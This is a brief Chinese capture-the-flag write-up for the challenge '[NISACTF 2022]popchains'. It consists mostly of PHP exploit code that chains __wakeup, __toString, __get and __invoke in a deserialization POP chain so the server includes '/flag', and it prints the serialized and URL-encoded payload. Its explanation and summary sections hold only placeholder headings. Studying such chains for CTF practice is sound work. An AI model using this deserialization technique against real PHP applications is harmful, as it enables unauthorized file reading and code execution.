这题 flag 在哪里

Problem: [NISACTF 2022]popchains

思路

• 这题 flag 在哪里？

EXP

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page=$file;
}
public function __toString(){//3
return $this->string->page;
}

public function __wakeup(){
    if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {//4,新对象
        echo "You can Not Enter 2022";
        $this->page = "index.php";
    }
}
​

}

class Try_Work_Hard{
protected $var='file:///flag';
public function append($value){//0
include($value);
}
public function __invoke(){//1，对象调用为函数时
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){//2
    $function = $this->effort;
    return $function();
}
​

}

$twh=new Try_Work_Hard;
$mkc=new Make_a_Change;
$rl= new Road_is_Long;
$mkc->effort=$twh;
$rl->string=$mkc;
$rl1= new Road_is_Long;
$rl1->page=$rl;
echo serialize($rl1);
echo "\r\n";
echo urlencode(serialize($rl1));

总结

• 对该题的考点总结